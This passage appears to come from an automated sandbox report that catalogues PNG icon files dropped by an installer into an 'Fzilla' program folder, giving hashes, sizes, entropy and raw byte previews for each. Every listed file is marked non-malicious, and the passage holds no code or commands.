SHA-256:	151ADA50A20E640A599481D440A048C769E0EE10F6FCA3851B143E0027C0ED76
SHA-512:	400E2EB545EC1FFB813C233E4404D36847152D1A14FD0BD6485478519FFF787536FB6AF2993380F377F4F82C04819189D7A7AB361ECB345F1119E00EEC96C367
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.................................................................................................................................................................................................................................................u.uh.hb.b[.[`.`n.n..................J.J1.1,.,%.%(.(C.Cg.g...........-.-......O.O..=.=:.:A.A....Z.ZV.V.....2.2z.zw.w...............7.7...n.n7.7.....-.-/./2.24.4.'.'&.&B.BJ.JS.SZ.Z`v`dodhhhLLLKOKHWHCdC=r=9~94.4-.-=.=fjf0.07.7X.X:.:?p?,.,E^EM.MKLKbrb......G.G...sssE.E\{\WWW.....mmm.........A.A.....................pppm.m...999).).........AiA..................{{{...???............1.1...<w<..._w_.................'''........................TTTjjj........................................}....tRNS...5I]v.........."Bg.....)T..............o.N../d=...................9...z.X............................................................................................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3100
Entropy (8bit):	7.3519707048561695
Encrypted:	false
SSDEEP:	96:PRgWuLcX8CGm0eNxv/PLVj9EyEmDffJ07:PLu2zd0eNFfEyEcx07
MD5:	810967A850E0F96F44874651F649A952
SHA1:	DD51AF31B2883DD27F3BA2EA4B8E572E1340261B
SHA-256:	66D6C15DD8E819E7B62D277AA237FF77C8C595F65582A368CBBC15427F82BFD2
SHA-512:	48595FB92E30AD7FFEE8237A37CB6C2F6A1603DE8EAE73DA8529D828888759DA3F74B0CC56D8E6A787F25749E5AF74EA07DE698E6178A6175B25B530D9F5D0F3
Malicious:	false
Preview:	.PNG........IHDR.............J.N....1PLTEGpL.............................................ddd..................'..7...........!!!............$$$...... ....................................................III......U.......................(..b``&.& +++...hhh...'''+.+......### $$$dddaaa...aaa$$$....,.,......hhhLLL.........lll.f.....\|.........,s....a.....I..A........H..2..)q....?.....M..................MMM................nnn.........zzz.........`......~.kkk...............mmm.h.+r./.....uuuU....@...._..V.....1.......!...i.-s....X....iiipppTTT...0...........3..W............yyy....%O....XtRNS..Z.....Y".."..!.X......k.....9.........Yhj.....7.!.88..d...i.....................!8...%...BIDATx^..w.Tu........v.YX..Q.F..h.o..wf;.w...{.:7.<.d..m.p..'.....Ov'SNnc.9'....)..?.[..._...gB..[N9U.2PW...Z..yw.P..5/W.....0.t5'...N.......g.hF..,E..4.t.../....\.......`....`....`.......0....0....0....0....0....0....0.....yab.986.....'..,k.<g..O....\.dV.....l.. .<.Tm.'..Q.

C:\Program Files (x86)\Fzilla\resources\default\480x480\sort_down_dark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1325
Entropy (8bit):	6.797313860142275
Encrypted:	false
SSDEEP:	12:6v/70tKsGjoBOgO0L9hXhXISdkokGDJYU3TxVKnF0Z4rGsB3933pQKDe0Fye8/X2:hKwBpZuckirvKFAvsJQv0FyeYX2
MD5:	BE55E6AFDA1D005973DBB0AA2709D20B
SHA1:	13BE53066DFA5B044A8305BF9BD5B26F5C8EF18B
SHA-256:	89D40A49886980D7F405B10C27BFAD5FB5980C3FD71C471CC40F391889E6E381
SHA-512:	C68D169EE1A53F5CBF690E1386B15AD470CB87401A99FEB6647A64C3146A91B39A74BC86834374B9ED69F693A3042CA17C92509D0AB6F8804C06A3359FCCCE73
Malicious:	false
Preview:	.PNG........IHDR....................'PLTE...NNNMMMMMMJJJGGG......JJJ...GGGIIIEEEX.]^....tRNS...........~.(T.>....IDATx......... ..6.T1............................%....stP.@.E10hX'\|.._..:..9h...e/V....b.s.0...t.[UQ2..(..VU..s.J.9Y.%.\...`NVE.0......UQ...(..dU..s.J.9Y.%.\...`NVE.0......UQ...(..dU..s.J.9Y.%.tU...75.Ey...\.......d.[UQ:..(..VU..s.............J..T1J..WE...*F....(.bX.(.b_.._...._..a...uU...}.s~..\|..hg.. .`..2..tP.P.@Qt..q.....k................."v.9S..<g..c..."v.......8F..Eb.n..p.......$F..1....F..1b...;p..c..."v.......8@..J.p...........x>.z.&....8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v...........5`'..;q..c.N\.v......8...-`'..;q..c.N..v.......8...-`'..;q..[.N\|.......>-.!.w\?...)......E..1b.n.;p..[...#v.......E..1b.n.;p..[...#v.......E..1b...;p...... v...}b.....[...#v.......E..1b.n.;p..[...#v.......E..1b.n.;p..[.

C:\Program Files (x86)\Fzilla\resources\default\480x480\sort_down_light.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1325
Entropy (8bit):	6.845783965852488
Encrypted:	false
SSDEEP:	24:3RFBPyggt/pmBe3oH8UU/vlUiYo15YewBN:3FygS/pmA4cUUlUiYo15MBN
MD5:	06AEA9DB718477BDD66BCDA4302CE28A
SHA1:	1CE1ECB4320C235E2B6216C1C7C1A03B8B3D9EEB
SHA-256:	9F5F8BCE887033CBBA6E8E94EBE06452FE25610835CF47D04BE2FCD32BF88936
SHA-512:	097DCE54EEBECC1ACC0DC69B0A8BB5D34B3408CD47D1DC9CC0549ECFE0472F2B80CCBA906886E6EC26B10E3989E014C76DD4443C48653ECD800B15DA437A577B
Malicious:	false
Preview:	.PNG........IHDR....................$PLTE..................................../..C....tRNS...........~Y......IDATx......... ..6.T1............................%............A..P.........B@o.L.l...s.0}U..c...S:L_.(.......WEJ..2...U..`..NI0}U.....S.L_.(.&....bP.).&....bP.).&....bP.).&....bP.).&....bP.).&....bP.).....w...."....\|.R.LY.(...S.L^.(..j).&....b_...b^.(..j)...P..}.R..y.......d..@./.UK...U.._..].....W-%..W.J~..ZJw1....b_....M"..(.~.`h). 6b.W.`l.va.6h..a........:.......w$v..."1..]$.....$..(1.7..8J..Mb....p......\$&. 1....8G..5b...;p..[...#v.......E..-b...O'>.x.._{p......I\|.....8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8....` n..q.....@....&0.G......Q` n..q.....@....&0.G......Q` n..q.....@....&0.G......Q` n..q.....@.....s.g~..{=.x.qA.` ...q.....@....&0.G......Q` n..q.....@....&0.G......Q` n..q.....@....>0.........\|.....@...........M` ...q.....@....(0.7..8...M` ...q.....@....(0.

C:\Program Files (x86)\Fzilla\resources\default\480x480\sort_up_dark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1418
Entropy (8bit):	6.977739851393717
Encrypted:	false
SSDEEP:	24:HGNmkPU/il6Rl7MUBuNEEZxNBqorhrWSkx/iLZt44Eb9FaaaatqnB8T:mUoUTAx7RrhqPwvqJqnB8T
MD5:	083ED0AC0DB9F49D3EA62444670AF4CA
SHA1:	CBC2E2AEC0534A27F8A5D9ED3D2E9C6B4CE9586B
SHA-256:	E0B212D8EEA521F1B08F8192A21D2DC00EE192BEDE1404859820B40532BDDED9
SHA-512:	90BE43119CC4EB45429A672642EA75A07C1BF92A0CCD21F130149C2C95200675864D96849E34C3F672D38D98417D39829C32D30655BFF5A1A62D8D412399A0FF
Malicious:	false
Preview:	.PNG........IHDR....................-PLTE...NNNMMMMMMJJJEEEFFF......IIIGGG...MMMGGGJJJ.).z....tRNS.........~..w...p.S....IDATx......... ..6D............................@G...0.E1..C..C~..O..BtGa...,..s...Y0.`M1..b.5..K........#.`.$....$..%.'.F,.8I0b..I..K0N..X.q.`...I.QK0&.F-..$...c.`...I.QK0&.F-..$...c.`...I.QK0&.F-..?......1.....1U.R.x...a.pSb!_p(.{1....`.8.c.=.,..xq...C._........^...b,..k......Zp/.{.....^....=..s......Zp/.{.....^...b,..k......Zp/.{.....^...b,..k......Zp/.{.....^...b,..k......Zp/.{.....`.8....8..O.8.obq.....l..`.8...!.-..fq.F.C.Y.....,..`.8.{.1.+..Zq...Zp/.{.....^...b,..k......Z..K.._n..6. .....r...;c.. ..P..../1.((.B...q...*....+M.....8M.....8M........=q....=q....=q....=q.....)q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q...{.>....}`O\.....M.=q.....=....{`O....u`O.......=q...{."....}`O......H.[..8F.c......?6.4.>@...1.>@..~+b.\|....F..x...+b.<...1.>@<....?#.`@.....0 .............

C:\Program Files (x86)\Fzilla\resources\default\480x480\sort_up_light.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	6.9584684581679435
Encrypted:	false
SSDEEP:	24:ZU/5cTjcKhnT9lKZ5KjWO3o5kiz735kOnP65POPzWi5U77////chqEqXo:ZUKTJRTY1O3WkQpkOP65POP6SVqXo
MD5:	10AD50B05A6AB28861B99529A9863DA9
SHA1:	C8B86B8B3BE4721128CC35299BFDD60E75C2058A
SHA-256:	6322EF3887B166933AD21A5B69C54F4F1C02D822C047DE51A2AA7FF89F73A5ED
SHA-512:	0D2C96F3BF149E2B8C47A2C006BBAE6A0443E8958C433045F444B254B16E49951717E3CCC8ADE580C0E4176C1A496C1147B0BA0879DC22F5FB5DADE09C3AC55F
Malicious:	false
Preview:	.PNG........IHDR....................PLTE.............................................7....tRNS.........~..w.D..q....IDATx......... ..6D............................@G...0.E1..C.....O..BtGa.q.V..^\..U.l)&.bI0.`.%..[.)v.#.`...H.QK0".F-..$...#.`...H.QK0".F-..$...c.`.%....,..$.g..$.8K0&..Y.1I0...I.q.`L....c.`.%...`A.::.....(F.K.9t..9..Ma'X........~._........^...b-..c..X.6.C0Z........`.8...).,..@q...C0P.....L..`.8...!.,..dq.6.C0Y.....L..`.8...!.,..dq...C._........`....b?8....X...Xp/.{1....^...b-..c..X...Xp/6.C1........C....!x..C.F..`.8...!.,..hq.6.C0Z.....L..`.8...1.+..\q..sp/.{1....^...b-..c..X...Xp/.....1..Q.E.I[.#.Yb.tb....-='.`.H...;.=......... ...^....c.....S.=b..c.....c.....c.....c.........8......8......8......8......8......8......8......8......8...............c.....c.....c.....c.....c.....c......=.'..{..'..mb........=p...{.>.'..{b..$.............=.'..{.>.'..Eb.."..1b..#...^ .z...............................b..@<..../..0 .............b..@<..../..0 .......

C:\Program Files (x86)\Fzilla\resources\default\480x480\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	12683
Entropy (8bit):	7.948673837999981
Encrypted:	false
SSDEEP:	384:NoiX5CPW14wKRwtl3u4sYOvWPTH3JUECe:NBpCu1VVXAWPTH3iZe
MD5:	B5AA21C3F5D77D5D55982FED0F46E12E
SHA1:	D0540523E377726B1A936980A2EE968D8FD63DE2
SHA-256:	D42AAD945404D1A5F66A168F6AF3A89D34BE856FCA13911EE0A5D3DA8AB7B084
SHA-512:	39641960860C6628B0CBE68FB66C1A2294F66F19D019D37B3385BD95190D1A636E39848FD0B1394A671CB04F5CED1A1D4F16F76A0DD0E40CC8948D521E7170C7
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLggghhhggggggggggggggghhhggggggfffhhhhhhggghhhhhhhhhhhhhhhgggfffggghhhggggggjjjhhhhhhhhhhhhhhhhhhiiiiiihhh###!!!ooo{{{....................................mmm................................................ttt............qrq......lll....................www.........................i.iU.UG.G7.7,.,..N.N...w.w......B.Bo.o.........2.2d.d..............<.<...bbb.......\.\TTT@@@...---......ccc...[[[......___......]]]^^^PPP___...TTTLLL...XXX...MMM......LLL.._. &.jn.tw..QQQ.....\\\......KKK....\\\....$*..,2....6;....EJ...._d...z.c.15/./.HK.>C...eeeF.Fs^_. &.W[5.5[~[...9.9TTT.y\|ataO.O...>.>..!....KP..$.......WWW.....#...k.k....14wGIfff......no.14777DDD.HKIII:::.JMEEEJJJLLL???FFFLLLLLL...IIIKKKHHH===BBBHHH.IIIHHHHHHKKK.........b....tRNS...2?Uf.............o\M(.F......y"...............................................................................................^:./....t.&.....S.....................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\symlink.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	7.553016497296657
Encrypted:	false
SSDEEP:	48:f+pztxMclZZjWA44e2Oa28uocUvJeQ2BAD2HCt8uHyqLROw44caJnwYlNOvS/44D:f6blZZjv443Oz8bnRByTecKL72S/444a
MD5:	8EF619E2FD6613D80CD761C5FAB62092
SHA1:	6C3CA15E4D9026643E4A9958BDE6173EDEF3E69D
SHA-256:	18E3E7D585191AAAAD145740530D6941C07A8F9ECFE2177C6782969E3532BFCC
SHA-512:	66149A4FB6A06B237A41FF53FE85CB2A20F5AC3E39A16173B3986F8170DCFEB65EEAE7146BF5B876661F89BEE863E0E0DFCD002AE90C6302E1AAFD51AFAB70BC
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL............hhhLLL...............mmm...jjj...iii\|\|\|~~~...zzzMMMnnnggg...}}}vvvkkkPPPRRR...{{{ttt...pppxxx...........VVV........oooZZZ...qqq...\\\yyyrrr...eee...............QQQ.............lll...sss......www.........[[[...........................uuuSSS.........ccc..................]]]....................fff...___........................NNN...YYY.......................TTT................UUU........OOO..........WWW............................XXX..f....tRNS..eT.J3...PIDATx^..1..... .....X..................................................................................................p......`.$......Z........,X.`.....,8@p........,X.`.....,8@p........,X.`.....,8@p....%X.`.....,X.`.../ 8@p..}.....,X.`.....,X.`.....,X.`.....,X.`...?.......bX.\LE.....Ca...}]..\.a&..\|m...._.f^p..0......\.?.......~....a.....3/.`..y.........f^p..0......\.?....a....?.-...........f^p..0......\.?....a.....3/.`..y.........f^p..0......\.?....a~.

C:\Program Files (x86)\Fzilla\resources\default\480x480\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6803
Entropy (8bit):	7.81150566445154
Encrypted:	false
SSDEEP:	96:tpuNoMaJduiX/6x2XQBitWxcy91QIKk+04DCAdsSRheyDaqYauWfliqAVAxmrdAW:mqJdNciQYI/4DCAdshWYctiRA6AeKU
MD5:	3CE9C623FF201DA78CE5462EDCEEEB57
SHA1:	2DB3F189CF2CEF4538E44FEB3E26B5F8F5B16CE6
SHA-256:	0FFFCF51EC568BEF40C6EB3A471CC9E63899BB4CFB42B70F40207F819AA826F5
SHA-512:	D775CF8C77A77D2F74338E74C86BDAF336BFF50BB7750925102806987A2C8D59986DD0E74CC23E104E77D62B29D91478756FBB4FF1C882E36B3ED480D88F9748
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL...........................................................................................%.'p'.......!.............,.,,.,,.,+.+,.,+.++.++.++.++.+,.,).)+.+,.,,.,+.+,.,+.+,.,+.+,.,+.++.+,.,,.,,.,,.,+.+........\.\.....N.N...+.+..1.1o.oA.A...,.,v.v...8.8..,.,.......>.>..+.+e.e,.,......V.V{.{%.%<.<^.^-.-I.I......(.('.'%.%%.%%.%%.%%.%&.&&.&#.#$.$#.#"."$.$%.%!.!.......=..g. . '.').).......s.(.(...!.!. .%.%'.').).P.......#.#.p."."..........oT...........................................................\|.....^.A0....p.................................j.................U>......................>..D..............-.....N..b........o...........O..........U..8..!............Q.....~..j...........cW....tRNS......xD..m..;O........................%:Pay....M......lD......V..........1..............................................._C$0x..Q.9.cY.f..)<I.4n,...+v.L..V...h..`.....Q.....?.1!.:.h......

C:\Program Files (x86)\Fzilla\resources\default\480x480\synctransfer.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7499
Entropy (8bit):	7.834547447829501
Encrypted:	false
SSDEEP:	192:56ZwYBqK1ujUJxZr577ySvSRSINaGOxWTZheEny/x:o9+wX7EkGOxWTZkEnU
MD5:	58B47F061260769A0A6B2CBECD8F1AC0
SHA1:	CDECDA2416B100517F36E7AF65FA36C40C574D22
SHA-256:	19B2D2BE74DB5FA58DAA88DA1ECD8A5F97C3353B53362A9E1AF1B5D2AC043D4E
SHA-512:	A4BCC18F1DAC0D42DAF549F40B69C52FCA4463FD4554F19677491E6FBBDED6F71D9CE3C1CF17CFD8B5BD63D35A223C3172F1F5163399C3937220783346371E21
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.$$. &. &. &. &..%..&. &. %. &. &..&. %..&. &. &..%..&. &..%. &..&. &..(. %. &.+..%. &..%5... $. &. &.% ."#.2...%. &.....".....!...............}.............%............}....... ......................#....MM.7N}c."r."........$..!..........&..<!.J%.D&.<'.(&..$.6'.1.z<...%mV!X{$I.'E.(8.2.+,.,hk$.,&M.&..!..$.j)Zh!*.(...&.&(.(..#...T..:.... ...\....%..$..%........... &.&+.+... . ,.,+.+).)'.',.,,.,,.,+.+-.-&.&.k..\|..n..\|..\|.).).k..u..}..}..s..Y..\|..r.......................................................................................................................................^..s.............R=......k......mP...............~....s............................\|$~.....I`.. }.h....c1....r.&.1T....<...1@..Gb.m....tRNS..,J_q...............W@.h"..z..5.........m...C..3.....P..x..........!<Id......................................-#z_8.......yq.H2..p..lf`zr.{.g^so3..H............................./..L..d

C:\Program Files (x86)\Fzilla\resources\default\480x480\treeitem_collapsed_dark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1307
Entropy (8bit):	6.476637761224862
Encrypted:	false
SSDEEP:	12:6v/70oYQmU4SqRW5QvWGP6CtRNJzJJfI1idS4spS1a3H4I1Mj3x4V3P3S1iJLbu3:0N/qR3WGPhzkU+s1a5Da1iFyqaKiZz
MD5:	E273DC1B158F4468373F96E8F7F9E5AF
SHA1:	40056FD1200C2CA282740111D76F0C40C58C6A57
SHA-256:	A0B7B5F58352ED7E017365E5A22921CEF46F70833CCCC2CE200AA424BA0CFB2C
SHA-512:	06D1902ECF859937F68786B7A1F528B1F424F118529D86FD31EEBE937E0D85F77FFB699DAE68FD17240BA964F5799087E93FB2C3A60EA6C5C8E40965350EBBEF
Malicious:	false
Preview:	.PNG........IHDR.............J.N....oPLTE...NNNNNNMMMMMMLLLMMMHHHGGGLLLMMMHHHQQQMMMMMMJJJLLLLLLKKK>>>IIIMMMMMMDDD.....................MMMLLLIIIJJJDDD.........%tRNS.RH..M.RSJ.N......"%...\|.......Yu{.{....X...6IDATx.....P......!.y.5^:8..ma..=)I.$I.$I.$I.$I.$I.$I.$I.d:T....#...-.-.-.-.-././././.p.p.p.p.p.p.p.p.p..0_.M_.._.\|..\|..%\....F7..f..././a...........K8.K./././a...........K8.K././a.......YX....m......^...EX.EX...&L.0a.",.",..a..a..a...&L........x....q......&L.0a..a.&L.0a.........&L.0a.EX.E.0a...&,.",."L.0a....a..a...&L.........",.",...&L.0a......0a...&LX.EX.E.0a...&,.",...&L.0a..a..a...&L.......&L.0a.EX.EX...&L.0a.",.",...&L.0a..a.&L.0a.........&L.0a.EX....a}..Dx.m.#}.q...~.....v.........................n......K8.K./.....}._..+.g._.._.\|..../_..+.\|..../_.\|.W\|..../_.\|......./_.\|..._.\|.W\|..../_.\|......./_.\|..._.../_.\|...+.../_.\|....W\|..._.../_.\|...+.../_.\|....W\|./_.\|......./_.\|..../_.U.W\|./_.\|

C:\Program Files (x86)\Fzilla\resources\default\480x480\treeitem_collapsed_light.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	6.579143329764119
Encrypted:	false
SSDEEP:	24:lmIhXPlkXgCAT8SVx1vK5mYWWWWWWWWWWWWWx7+FiKgncNApgvG:j3kXrAISVx1isuuL
MD5:	D1EFC64C8D183D6304489AEACA6BFC23
SHA1:	98DE48219D8E6BFBEA7DAA1E7E19EAAEBC105B79
SHA-256:	8E6AF6C59A9C1FF2F7D0CB805C48570EA891E69E2A64092B187ABADA9023A3ED
SHA-512:	48134C48DFEE5824DA2378A72DC59F7486D8B19AFA5287C3A8DC59327BC9D931AE805EA86B682115B3AA46EA7DB3279F7CF07B183C7DC7AEA1DDA85DDBFF21C0
Malicious:	false
Preview:	.PNG........IHDR.............J.N....fPLTE............................................................:::..................666.........CCC.......m....."tRNS.d......F........z..#....I.!........Q....)IDATx...mk......2.L./Yq....y....$I.$I.$I.$I.$I.$I.$I.....j...w.....m..m..m..m..m.................%\.%\.%\.%\.%\.%\.%..%..%.p.p..0_.._.\|.W}..&..%..%.p..0_.._.\|..\|..\|.....%.7 .0.0.0_.\|..\|..%...\|..%..........G...w.z.......0a...&LX.EX.E..#,.",."L.0a....a..a.qa.G...&L.0a.",."L.0a....a..a..6.",."L.0a....a..a.&L.0a......0a...&LX.EX.E.0a...&,.",...&L.0a..a..a...&L.......0a...&LX.EX...&L.0a.",.",...&L.0a..a.&L.0a.........&L.0a.EX.E..a.&L.0a......0a...&LX.EX.E.0a...&,.",.:>.F.t1J:.....r...nG..K..K..K..K..K..K..K..K..K..K..K..K..K..K..K..K8.K8.K./././a...............W\|.._.._.\|..../_..+.\|..../_.\|.W\|..../_.\|......./_.\|..._...W\|..../_.\|......./_.\|..._.../_.\|...+.../_.\|....W\|.._.../_.\|...+.../_.\|....W\|./_.\|......./_.\|..../_...^\|./_.\|......./_.\|..../_.._.\|....

C:\Program Files (x86)\Fzilla\resources\default\480x480\treeitem_expanded_dark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1404
Entropy (8bit):	6.50184507502826
Encrypted:	false
SSDEEP:	12:6v/70GPPgk7gB3ywx+FH9WvnPmV4qBJyI6BJyICc1NCavvvYOkl5qIZwDD3PgiBk:QgbU2RnPm64PWxgiBe+nsWglKyyO
MD5:	084F031857785E083227F56E67616415
SHA1:	F934F48D038C8BC7CBA8EF3EAA9883A4A720C1F0
SHA-256:	3C1EFCAA6B3776634606940D6D4B68F1F52C75D72B66260946BC559961282535
SHA-512:	7B71EAABE99DD595E7D21D6283DF5B817F8A57D0C311A6A54FD1347E26C82829A4B38875995DF208E5B105892F01E36B37A6E2C7CBB0BD83193FC40658E02230
Malicious:	false
Preview:	.PNG........IHDR.............J.N....cPLTE...NNN@@@JJJNNNMMMNNNIIIMMMNNNNNNMMMKKKHHHJJJMMMMMMIIINNNMMMDDD...fffNNNDDD......LLL...MMMCCC........vS...!tRNS.'..R.}...$..'....q...\|.....X.........IDATx...1..... .....`1.....................................................}.4..P.$......z..^..Ro./..........g\|....z]..o..{...o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....^X\|.v...&.[a.MX}....0.........k_.w........K........b.x...`.I.p.@...D_P...E_^..-E_^..-E_^..-E_^..-E_V..-E_V..-E_V..-E_V..-E_V..-E_P...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E.w...%m~.w..W.....w<.K.....\|a.N....(.....U.........F8.{........f.................N................................K.o@./a..............K.oE./a...\|..%.w@./a......%.w@./a......%.0..a......%.0..a.....; .0..a.....; .0_.\|.....%.0_..........K.o@./.)_.\|.....%.7 ../a...}..%..K./a.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.e././.g.0_.\|..= .0_.\|..%..

C:\Program Files (x86)\Fzilla\resources\default\480x480\treeitem_expanded_light.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1430
Entropy (8bit):	6.612363843936813
Encrypted:	false
SSDEEP:	24:XMv/276qbrYFe4XDXx1yVr6vZcV+nxUtuyvCuKSm3NQ9jdM3SWWWWWWWWWWWWQT:Xs276Tv1y16ZUkx2+T
MD5:	511A92EF28D25E6EE856F9326D7A9549
SHA1:	56D2EF8535BFD94023ED5554AE73184C21C2DD0E
SHA-256:	E45294341BE154EC935A1F317FA7363535BA594E9EDC02DCF7B7EEB649596D40
SHA-512:	4B33CFD369B77DA7F195E761C236179E64D1947B4EC1F23E1C0636D4FC507DC11FCD94DDE34727DC33AF89A35E8A0B9EE387BB4A084BD9FF54B382820753AD57
Malicious:	false
Preview:	.PNG........IHDR.............J.N....fPLTE.........................................................===......:::.....................666.........n......"tRNS.G.J.d................#.......!w.....Y....IDATx...1.....0....-....................................................u..M.P....a.\|....&z...o4......Cz}{...>.....s.v........7a....o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....Z.\|.v...&...a.M.\|....}..z........~.'.&..>.`D..a.M..............3W@X.2...a.;.++.}'.\|.0........@..N...+_ <_&.}'\|.../../..............._ya.;a.........0....w.W^..N...a.;.+/l}'.\|.0........@..NX........3.~...._...O...o...I.a..Ac..\|....&....T'........}oma.ma.ma.ma.qa.}a.}a.}a.....................%.p..0_...~....GT8.{.\|".wX./a......%.wJ./a......%.0..a......%.0..a.....; .0..a.....; .0_.\|..... .0_.\|.....Kx..0_.\|....Kx..0_.._.\|..\|..%<.K././a.......^.%.p..p.0_.._.a_.u_.u_.u_.u_.u_.u_.u_.}_.}_.}_.}_.\|..\|..\|..\|..\|.$.u...g.<

C:\Program Files (x86)\Fzilla\resources\default\480x480\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	5.565308274512407
Encrypted:	false
SSDEEP:	24:18fPDxm0oUc555555mgq2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2qe0D2qt:181m0c5555550TTTTTTTTTTTTTTTTTTf
MD5:	5DBB4A4639578D421340976E766F2C32
SHA1:	EA3782BC213CE0C43F3C65F07C735D21E48B36E8
SHA-256:	EDD8D0E29F8D928A035C9301D78F2D13915164F761444DDF14A5F5C245EA20EC
SHA-512:	B7AD4ED496F3A16B0F69CACC9390679FA354A9C68E82E1E7FE97257124059C50F4F21247FB5CD9DE959EF80271CCD2EF3BCA39E1577F96EC8EB2121C75E5CDFE
Malicious:	false
Preview:	.PNG........IHDR....................'PLTEGpL. &.... &............m..R.......'.....O.....tRNS........88.!...<...wIDATx...7Y.A.F../.%.. ., ..8.....(.H...lx...g.f.\|.....v.O..[.\|<.r......8...S..8...c..8..3..8...#..8.,....8.L....8.L....8.L....8.L....8.L....8.L....8.L....8.L.[..1:...x.;....x./..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S.(0 ....(0 n....}..0%....(0 ....(0 ....(0 ..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 n...F.....`J.....`J....Q`@....Q`@.....`J.....`J.....`J.....`J....Q`@....Q`@....Q`@....Q`@.......zg.g..W...;..N.......w.....?\...w....8......8......8......8......8......8......8......8......8......8......8......8......8.......g..."...$..h.z.N.A..=:(.... ..P.W;.t......;............

C:\Program Files (x86)\Fzilla\resources\default\480x480\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	7.602783324688387
Encrypted:	false
SSDEEP:	96:Tdwmfyctyj0pRyE9e6Epdx7lvsh6X/b0UUUUUUU:T2mGQppYtpNJ/bv
MD5:	7CBF8BA09C12B4EA8341BAECBD27FB2B
SHA1:	AF9211B1C4FD3405E51DC97492C2C569E42BB86C
SHA-256:	7CC649C7DAD1289A984A80BB144A56C8493A61114625DFBDB5B04C4EE2D30600
